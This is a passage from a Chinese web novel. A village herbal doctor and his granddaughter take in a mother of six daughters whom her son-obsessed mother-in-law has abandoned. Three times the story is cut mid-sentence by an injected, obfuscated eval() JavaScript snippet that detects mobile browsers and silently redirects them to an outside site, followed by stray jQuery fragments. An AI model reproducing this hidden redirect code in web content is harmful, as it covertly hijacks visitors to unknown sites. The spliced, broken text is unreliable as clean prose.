刚刚生产完,女人实在是没有力气开口说话了,只能任凭她数落自己,用刀子一般的眼神不停在她身上划拉。 “婶儿,不是这么个说法,这孩子也不是想憋就憋得住的。”身为村妇联的主任,王冬梅主动走上前,替她挡住了中年女人的怒意,“现在时代不一样了,生男生女都一样。” 中年女人更没把王冬梅放在眼里,往一旁迈开一步后,继续发泄着过去这几个月憋在心里的怨气。 “为了让你生个小,你说说俺家为你付出了多少?吃,吃不敢马虎,喝,喝也得仔细,你这肚子咋就镇不争气啊!” “别了就不说了,光为了你这一胎,俺家费了多少事?又是迁坟、又是拆院,前前后后花了多少钱!王琴呐,就一天,就这一天你都憋不住?你是不是故意给俺家找事!” 别说是女人,沈妙这个外人听着就觉得窒息。 为了让她生个儿子竟然又挖祖坟、又拆院子……有这钱干嘛非得浪费在封建迷信上,花在她儿子身上,好好给他调一调不比什么都强? 听她絮叨了好久,沈万山也听不下去了,杯子里的菊花茶都压不住他心口的那股怒气。 虽说这是别人家的家事,婆婆媳妇怎么吵都跟他无关,可这是在他的医馆,他的地盘,他总得照顾好自己的病人才是。 “别说憋一天,就算你再让她憋个三年六月,她生下来的也不会是个哪吒。” 放下手里的茶杯,沈万山斜了她一眼,冷冷地道,“你以为小mer是一天就能长出来的?还马大夫说的,这马大夫是谁你给他叫来,就说是女娲要找他学手艺,看看咋能掐日子保证生出来的是个小。” 听着沈万山数落着那中年女人,沈妙都惊呆了。 没想到,爷爷的嘴皮子这么利索,嘚啵嘚啵地损起人来真是劲劲儿的! 沈妙之前还一直好奇呢,好奇自己的爹妈性子都很平和,自己这淬了毒的小嘴儿是随了谁,敢情是爷爷遗传给自己的。 见中年女人气得脸色青一块红一块的,沈万山也没再继续损她,而是话锋一转,重新换了个语气说道:“既然是个妮儿,那谁都没法儿,你要实在想抱孙儿,那就回去让嫩小再努努力,说不定下一胎就抱上了。” “是啊,妮儿挺好的,平常带着也省事。”为了安抚她,王冬梅又接着说道,“好好培养,长大说不定也能有本事哩,瞧瞧俺妮儿,现在多有出息,一点都不比村里的男孩差!” 听她突然提起自己,沈妙不由得愣了一下。 扭头看向王冬梅时,从她的眼神里,沈妙只感觉到了无比的温暖和安全感。 是啊,她虽然从小调皮、不爱学习、上房揭瓦、追猪打狗……但她一直都是王冬梅眼里的骄傲,即使她是没办法“传宗接代”的女儿,爹妈和爷爷也是把她当心肝宝贝蛋儿似的疼。 所以啊,女孩和男孩真的是一样的,全看家里要怎么养。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647314|172754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见中年女人不说话,沈万山又说:“中了,让她在屋里好好休息会吧,你回家给她找身衣服,再弄辆三轮车,看看晚会咋给她娘儿俩带回去。” 中年女人还是没作声,只是把手里的那包梅子条往桌子上一磕,便匆匆地转身走了。 女人离开的背影散发着森森的怨气,就连阳光都没能暖化,当她消失在院门口时,沈妙不禁小声嘀咕了一句:“爷,你说她不会不回来了吧?” 沈妙平常在村里吃瓜吃了不少,总觉得她这背影有几分眼熟。 坚定的步伐、失落的情绪……可不就跟姑婶姨奶们口中,那些抛妻弃子的渣男一个样嘛?无非是换了个性别,换了个身份而已。 沈万山低头给屋里的女人开了一些温补的药,不以为然道:“不会,她们娘儿俩又不是个物件,哪能说扔就扔啊。” 就算她再不喜欢自己的孙女,那也是一条人命,人命是不能随意抛弃的。 可是事实证明,沈万山还是高估了她的人品道德…… 沈妙他们从下午四点一直等到晚上八点,都不见女人来接人,眼瞅着时间越来越晚,他才意识到女人可能真的像沈妙料想的那样,是个没人性的“渣女”。 医馆是家里盖了几十年的老房子,平时用来接诊还好,并没有留可以睡人的床铺,要是她婆婆再不来接她,她总不能在这张简陋的木床上过夜吧。 可是家属不在身边,沈妙他们又不好轻易让产妇移动,万一伤着哪到时候可就说不清了。 走也不是,不走也不是,真是叫人头疼。 没办法,既然女人迟迟不来接,沈妙只好把女人叫醒,向她询问家里的情况,看看能不能找她男人或者别的亲属来接。 “嫂子,你家是哪的?要不我去你家跑一趟,看看能不能喊个人来接你?” 女人大概明白是怎么回事了,于是叹了一口气,“没用,我男人去城里干活了不在家,家里又是我婆子说了算,她不松口,谁都不能来接我。” 刚刚生完孩子,女人的情绪原本就不稳定,意识到自己要被抛弃,眼泪止不住地顺着脸颊流了下来。 听到了妈妈的委屈,刚睡着没一会的孩子也跟着张大嘴巴哭了起来。 “妹子,能让我在这儿住几天不?等我好点了就回去,”将孩子抱在怀里哄着,女人的字里行间都夹杂着苦涩的味道,“放心,这钱我肯定补上,我就算卖血也肯定不欠你们一分钱。” “不急不急,钱的事先不急。” 沈妙看着外面黑透的天,解释说:“主要是俺这医馆没法住人,门窗都漏风,晚上住这儿容易着凉。你现在还在坐月子,可得小心点,不能落下啥毛病。” “没事,能有个住得地儿就中。”看着怀里的孩子,女人将襁褓稍稍拉起了一些。 沈妙怎么可能真的让她住在这儿,既然她肯定婆婆不会来接自己,跟沈万山请示过后,还是决定一会找人来把她抬去家里过夜,等到明天再去她家看看是个什么情况。 不过为了避免事后扯皮,还是要先让她签一份免责书才行。 正当沈妙在外堂措词着写免责书时,院子里忽然传来了几声敲门声。 “铛铛!铛铛!” 16. 第 16 章 沈妙可以肯定,敲门的人一定不是女人的婆婆。 敲门的声音很轻,像是很怕吵到里面的人一样,完全不像是她婆婆那张扬跋扈的性格。 第一次敲门时沈妙没太听清,以为是自己听错了,直到过了一会后,伴随着敲门声的还有一声略显稚嫩的问询,她这才起身赶去开门。 铛铛…… “请问,有人在吗?” “来了来了。” 听声音应该是个年龄不大的小姑娘。 沈妙开门时,门口站着的是两个麻杆般瘦弱的女孩:一个看着十四五,怀里抱着一条深色的薄毯子,另一个看着比她小两岁,拎着的布兜里装着一套衣裳和几块干净的布料子。 如果没猜错,她们俩应该就是女人的两个女儿。 “姐,王琴在这儿不?俺俩是她妞,来接她和妹妹回家。” 年龄大的那个小姑娘梳着一头很干练的短发,眼睛里有一股很坚强的英气,她说话时很有礼貌,虽然瘦弱但腰板挺得笔直,不像是温室里娇养着长大的花朵,更像是开在寒苦之地依旧盛放的小野菊。 不卑不亢、不怯不弱,不像是还没成年的女孩子。 “正在屋里休息呢。” 沈妙招呼着她俩进来,见她们额头蒙着一层薄汗,身后空空如也便问道:“你们等会咋带嫩妈回去?没骑个三轮车啥的?” 另一个年龄比较小的女孩愣了一下,弱弱地问:“要骑三轮才能带俺妈回去吗?” “嫩妈现在没法下地,还不能见风,肯定得有个车拉着。”沈妙解释道。 两个女孩自己都还小呢,自然不懂得这些,她们以为只要来接她回去就好,所以只给她带了一身衣裳和挡风的毛毯。 哦,还不止,布料下面还藏着一只热乎乎的煮鸡蛋,用来给她补身子的。 “那我去找人家借一辆。” 扎着马尾辫的小姑娘将布兜交到姐姐手上,说话的功夫,就转过身准备出去借车。 “去吧,”临走时,短发女孩特地嘱咐道,“借的时候跟人家客气点,嘴巴甜一点,记得叫人。” “哎。” 王琴的命好,虽是摊上了个重男轻女的婆婆,却有两个聪明能干的女儿。 瞧着她们为母亲忙前忙后的架势,不比村里那些十来岁只知道打架,出了事还让家长来擦屁股的混小子懂事多了? 不知道是不是自己眼花看错了,当女孩的妹妹跑出院子时,沈妙似乎看到有几个黑影跟着一同闪了过去…… 跟着沈妙来到内堂,在看到来接自己的是女儿时,女人的脸上闪过了一丝意外却又欣慰的表情。 “招娣,你咋来了?” 短发女孩快步来到女人身边,瞧着她神情疲惫的模样,主动从她怀里接过了刚出生的妹妹,“妈,你快躺好歇着,盼娣去借三轮车了,等会咱就一起回家。” 这个叫招娣的女孩很会哄孩子,左手托在下面、右手抱着襁褓,嘴里一边哼着几个音符,身子一边上下轻轻摇晃,一看就是经常带孩子的熟手。 “□□回去说啥没?” “没,回去就是哭,一直在屋里不出来。” “是她让嫩们来接我的?” “不是……” 和自己那重男轻女的奶奶不同,招娣很稀罕自己的这个小妹妹,小心翼翼将她放在床上,随后从布兜里拿出新的红布料给她换上,还熟练地往里面垫了一块厚实的尿布。 “妙妙。” 外堂的沈万山朝她招招手,小声嘱咐道:“回去看看饭做好没,做好了盛点带来。” 王琴一天没怎么吃东西,只下午喝了一碗沈妙给沏的鸡蛋花和一些补身子的药。 当娘的肚子里没食,哪里会有奶?更何况一会回家说不定还要折腾一路呢,自然要多吃点东西垫一垫。 虽说有油有盐的食物现在不适合吃,但将就两口总比饿肚子要强。 “中。” 沈妙心里清楚,爷爷这不止是为王琴的身体考虑,也是不想自己继续听别人家的八卦了。 沈万山阅人无数,白天瞧王琴她婆子那语调就知道家里肯定有不少事,真要让沈妙留下来听,怕是等她听完后,孩子都能下地打酱油了。 晚饭点已经过去了,回家的路上,各个院子里都能听到电视或是收音机的声音,偶尔还有几声狗吠,空气中的饭香味已经散得差不多了。 快要走到家时,沈妙迎面看到了徐国宝正蹬着三轮车朝这边骑来,车上还坐着…… 一、二、三、四个小女孩! 其他几个沈妙没见过,但是年龄看着最大的那个,不正是跟着招娣来的妹妹,盼娣吗?! 看到沈妙,徐国宝拉着把慢慢放慢车速停了下来,“正好你来了,刚才这小妮儿叫车轮给刮了一下,你快给看看有事没?” 除了盼娣之外,其他几个女孩看着都还小,瞧她们那大差不差的五官,一看就知道是亲姐妹。 原来刚才沈妙没有看错,盼娣离开院子时身后真的有她的妹妹们在跟着。 不怪她和招娣瞒着,这些年计划生育抓得紧。市里查得严,家家户户都只许生一个孩子,附近的农村倒是宽松一点,却也只能生两个,但凡超生就得罚款。 一个罚一万,两个罚两万五,三个那就得五万了。 都是靠着种地吃饭的庄稼人,就算王琴的男人去市里打工,怕是也交不起这么多的罚款,所以想来她的这三个妹妹都是黑户,为了不被人发现举报,这才选择瞒着。 眼看现在是瞒不住了,盼娣只好低下头,乖乖地向沈妙介绍着自己的几个妹妹:“姐,这是俺三妹来娣,四妹迎娣,五妹有娣……” 几个小萝卜头依次从三轮车上下来,向沈妙道一声“姐姐好”。 瞧着她们由高到低站成一排,沈妙愣了愣神,一时不知该怎么表达内心的情绪。 五个女孩,算上今天刚出生的就是六个女孩,这加一起得是多低的概率啊…… 听徐叔说,刚才到他家借车的是盼娣,瞧着她听话又懂事,便把三轮借给了她,结果没过多久就听到外面传来了女娃的哭声。 出去一看,才发现小女孩从一个变成了四个。 受伤的是四妹迎娣,因为路上有个小坎骑不过去,盼娣就下车和来娣、有娣在后面推,结果迎娣没扶稳车把,就从座上掉下来被车轮蹭了一下。 还好没伤到,隔着裤子小腿蹭红了一片,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647315|172754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是刚才怕极了所以才吓得哇哇大哭,这会儿早就不疼了。 和徐国宝简单聊了几句后,沈妙便把她们几个姐妹一同带回了医馆。 灯光下,几个小女孩都是瘦瘦小小的,身上的衣服也都打着大大小小的补丁,应该是大姐的一套衣服小以后,轮流让给妹妹们穿。 年龄最大的是招娣,今年十六了,盼娣也刚过十二岁的生日,来娣和迎娣一个十岁、一个八岁,最小的是有娣还差两个月才到五岁。 家里的人一多就容易乱,可她们家却不是这样。 不止是招娣和盼娣,来娣、迎娣、有娣也是个顶个的懂事。 来到内堂的母亲身边,一个帮母亲把脏衣服收起来,一个跟大姐一起哄着小妹,另外两个则在外面往三轮车里铺着毯子,收拾着准备接妈妈回家。 或许是从小生活在重男轻女的家庭,使得她们每个人都很谨小慎微,说话时声音很小怕吵到沈万山,走路时会抬起脚,不让鞋子蹭到地面发出“刺啦啦”的声音。 就连在照顾刚出生的妹妹时也不敢笑得太大声,会下意识地捂住嘴巴,只露出一双弯成月牙般的眼睛。 她们每个人都很懂事,懂事得让人心疼。 “先不用收她们钱了。”收起今天的药方单,沈万山低声嘱咐沈妙道。 家里养五个孩子不容易,几个孩子们来时身上想来也不会带什么钱,与其等会开口要钱会让她们感到窘迫,不如等以后再说。 沈妙看着外面的那辆三轮车,心里不太放心,“我听盼娣说她们家是岔河村四队的,大晚上的离得这么远,她们回去会不会不安全啊。” “嗯?”沈万山睨了她一眼,“这才多大一会,她家是哪村哪队的你都打听出来了?” 沈妙:??? 爷,这不是重点好吧! “那你是咋想的?” 沈妙继续说道:“要不让她们先住咱家?二楼的那几间空房能住人,等明天给她城里干活的男人打个电话再叫接走。” “听说她男人是个小包工头,估摸着在家也能说上话。我瞧她婆子不是个善茬,没个当爹的撑腰,今儿黑她们要回去肯定没好果子吃。” “嗯,中,”沈万山一边点头一边揶揄她道,“你这怪能啊,人家爹在市里当包工头的事儿都知道了。” 沈妙:!!! 哎呀!这根本就不是重点啊! 商量好后,沈妙便进屋想着跟王琴商量一下,看她愿不愿意带着孩子暂时留下一晚。 见沈妙和沈万山这般好心地为自己着想,王琴的眼泪又止不住了,即使坐在床上也不停地弯腰向她道谢:“谢谢妹子,谢谢叔,真是谢谢,谢谢你们了!” 摸去脸上的泪,女人继续道:“其实我也知道,要是她爹不在家我今天是进不去这个门的,就是妞们来拉着我回去,俺娘儿几个也得在外头过夜。” “恁婆子都这么狠心吗?”沈妙不禁叹了一句。 “唉……” 女人点点头,似乎有一肚子的委屈要说。 扭头看向外堂的方向,沈妙真想给沈万山使个眼色证明自己的清白: 爷,你看,不是我爱打听,是她自己要跟我说的嗷。 17. 第 17 章 同是姓王,同是住在岔河村,王琴和王穗花的命运却全然不同。 其实,王琴的婆婆李桂花早年也不是这样的,王琴又能干、又会打理家事,进门第一年就怀上了孕,所以她简直是把王琴当亲闺女照顾着。 直到她生下了大女儿招娣,日子才逐渐开始发生了变化。 村里计划生育抓得没有那么严,头一胎是女孩也没关系,只要第二胎能是个儿子,凑在一起正好凑成一个“好”字。 几年后,王琴又怀孕了。 为了确定她肚子里的孩子是男孩,李桂花狠狠心,花了大价钱带她去市里做B超,医生也明确告知她是男孩,结果九个月后,盼娣便在李桂花的盼望下呱呱落地了…… 这下不止是李桂花,王琴的公公周民也开始急了。 两个生育名额是用完了,可周家还没个可以传宗接代的小,这可咋办? 于是商量一番后,两口子决定搏一搏,把盖新房的钱省下来给儿子交超生的罚款。只要王琴的第三胎能是个男孩,那这钱交得就值! 终于,王琴的肚子又大了起来。 这次谁见了她的肚子都说会是个儿子,她也比前两次更爱吃酸,不成想等来娣出生时竟还是个不带把儿的妮儿。 不是男孩,李桂花和周民自然不肯交这笔罚款,于是,没办法挂户口的来娣便成了黑户,到了年纪也不能上学,只能在家里帮着母亲和姐姐做家务。 周家一脉单传了好几代,可不能在他们这代绝了后。 为了能让王琴生下个男孩,李桂花近乎快要疯魔了。找看风水的来说房子的布局不好,她立刻叫人来拆;说家里的祖坟不旺子孙,周民第二天就跟祖宗烧香请求迁坟…… 甚至连院子里栽种了几十年的槐花树也给掘了,就因为带了“花”字,花代表着女儿,对王琴生儿子不吉利。 可惜,他们的盲目迷信并没有效果,后面出生的迎娣和有娣依旧是两个女孩。 直到这次,李桂花经人介绍认识了六里河村的一位神医,神医说王琴这次怀孕,只要能在初九以后生就保准是个儿子,没想到今天来带她到别的医馆把平安脉,竟然就直接生了…… 王琴每生下一个女儿,李桂花的脸色就变得冰冷几分,当公公的周民嘴上虽是不说,但也没个好脸色,在家里都只把她们娘儿几个当透明的。 早些年王琴的丈夫周强还在家时,多少还能帮她们挡一挡爹妈的冷言冷语,如今周强为了多赚钱去城里打工,她们就真的是奴颜婢膝地看人脸色过日子了。 所以,不是招娣盼娣她们生来就听话懂事,而是从小看着爷爷奶奶的脸色长大,让她们不得不学会察言观色地生活。 王琴一边说一边流着泪,年龄最小的有娣坐在她身旁,虽然跟着红了眼眶却没有落泪,而是用袖子不停地替她揩去快要滴下的眼泪,迎娣也没有说话,只是把剥的蛋壳收了起来,留着回去给家里的菜施肥。 这些话在王琴心里憋了许多年,平时没机会说出口,眼下一股脑地倒了出来,心里倒是好受了不少。 “对不起啊,妹子,”王琴勉强挤出一丝难看的笑,“耽误你听我抱怨了这么多。” 沈妙摇摇头,“不碍事,没啥可对不起的。” 沈妙既然帮不上她什么忙,听她抱怨抱怨,能让她感到松快一些也是好的。 时间不早了,等招娣和盼娣都拾掇好后,沈妙便和她的女儿们把王琴扶到了三轮车上,然后骑着车把她们带回了家。 几十分钟前,沈万山先回到家说了今天王琴和几个孩子要在家里留宿,于是王冬梅和沈山生及早就把二楼的房间收拾了出来。 沈家的新院子盖得有好几年了,是一幢两层的混凝土自建房:一楼是厨房、客厅以及沈妙和沈万山的卧室,二楼则是王冬梅和沈山生的卧室,以及几个空着用来装杂物和药材的房间。 早些年乡下情况不太少,沈万山也曾救治过一些无家可归的病患,所以二楼的房间里有几张简易的床板,只要铺上床褥就能睡人。 “妹子,等会让你哥背你上楼,还没出月子,可别下地受了凉。” 沈妙拉着三轮车进门时,正在择菜准备多炒两个菜的王冬梅赶忙从厨房出来,招呼着沈山生把她从三轮车上背了下来。 “来了来了。” 沈山生刚把房间收拾好,快步从楼上下来后,捋起袖子就将王琴从三轮车上背到了屋里。 沈山生和王冬梅两口子虽然不学医,但也是和沈万山一样,有着一副菩萨心肠。 对待沈万山的每一个病人,他们都会尽心地照顾,不仅把屋子的窗户封得严实了些,想着王琴的女儿们可能没吃饭,又特意蒸了一锅米。 帮着把王琴安置好后,沈妙来到厨房帮着王冬梅一起择菜。 “明天一早给他男人打个电话,应该晚上就能接她们回家了。” “没事,多住两天也没啥,”抬头看了下二楼亮着灯的窗户,王冬梅不禁叹了一口气,“唉,也是个苦命人。” 王冬梅不知道她们家的事,不过从她婆婆的态度和她的五个女儿,也能猜到个大概。 传宗接代在农村向来是女人最大的任务。 生不出来要跪着生活,生女不生男的腰板也挺不起来,只有生下个带把儿的儿子,才会被婆家真的当成一个“人”来看待。 身为妇女主任,王冬梅深知女人的不易,自然懂得她的苦楚。 “对了,”沈妙忽然想到了什么,又问道,“你们生我的时候,俺爷有啥不高兴没?” 农村向来重男轻女,代入到自家,母亲王冬梅在自己小时候,应该也过过看人脸色的苦日子。 不过在她的记忆里,从自己记事起,爷爷就对自己疼爱有加,完全不像王琴的婆婆那般重男轻女。 王冬梅笑笑,“不高兴?我生你的那个晚上恁爷快高兴疯了!” 沈家只有沈山生这一个后人,要说沈万山不想抱孙子肯定是假的,毕竟这祖传了上百年的医术可不能失传了。 可自打他们结婚后,王冬梅的肚子就一直没有动静,眼瞅着两人年龄越来越大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647316|172754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈万山急得像是无头苍蝇般团团转,偏就是没有一点办法。 儿子健康、儿媳妇也健康,人事没什么可尽的了,只能听天由命。 还好,夫妻俩努力了许多年后,王冬梅终于在二十八岁那年怀孕了。 沈家有了后代,沈万山还哪顾得上管什么男女?连夜给家里的祖宗轮番磕了一遍头,沈妙出生后更是喜极而泣,两个晚上没睡得着觉。 要说遗憾嘛,沈万山心里还是有一点的,毕竟儿子沈山生不学医,生了个孙女估摸着也很难继承这祖传的医术。 可当沈妙满月时抓周抓到的是药锤,一岁时又能凭着气味分辨几样药材时,沈万山才意识到自己这孙女可能是祖宗保佑的天生学医圣体。 谁说女子不如男?这句话,沈万山可太深有体会了。 哪怕沈山生和王冬梅现在再生个大胖小子,沈万山都不可能像疼沈妙这么疼他。 * 第二天一早,沈山生去了村头的小卖部按着王琴给的号码往市里打了一通电话。 当天下午,她男人周强就急匆匆地从市里赶回来接她和孩子。 周强看着也是个老实的男人,听说昨天是沈妙和沈万山帮着接生,又收留了自己的孩子们,“扑通”一下就跪在了地上向他们表示感激。 他回来得匆忙,身上没装多少钱,但还是坚决把兜里的十来块全部塞到了沈万山手里,当做自己的一番心意。 “放心,我回去就跟俺爹妈说清楚,绝对不让俺妞们再过苦日子了!”周强抱着襁褓里刚出生的女儿,信誓旦旦地向他们保证道。 周强看着不孬,她们在家吃苦的事,他多半是不知情的。有他给王琴撑腰,想来应该能给她们母女在这个家争取出一亩三分地的。 看天色有些阴沉,沈万山也没再多挽留他们,“中,那快回去吧,回去跟恁爹妈好好说说。” “好。” 周强走后一个小时,天上果然下起了大雨。 马上快入秋了,这瓢泼的大雨一下,温度很快就降了下来。 天气一冷人就容易犯困,再加上昨天忙着给王琴接生,晚上又没睡好,所以不到晚上十点沈妙就上床睡觉了。 “铛铛,铛铛……” 沈妙正做着去市里游玩的美梦呢,却在梦里听到了一串敲门声。 “铛铛,铛铛……” 等等,这好像不是梦? 迷迷糊糊地睁开眼睛,除了敲门声外,她还听到了一个焦急的女声:“沈爷爷,妙妙姐,救命啊!救救俺妹!” 看了眼表上的时间:3:18。 缓了缓神后,沈妙连忙披了件衣裳起床去开门。 打开门时,沈妙看到了一个浑身是泥的女孩,眼泪哭得跟核桃一样,身上也有好几处伤口正涔涔地往外流着血。 “招娣?”沈妙赶紧把自己的衣裳披在她身上,“这大晚上你怎么了?” “妙妙姐!” 周招娣猛地跪在了地上,抓着她的裤腿央求道:“救救俺妹吧,俺妹,俺妹她……”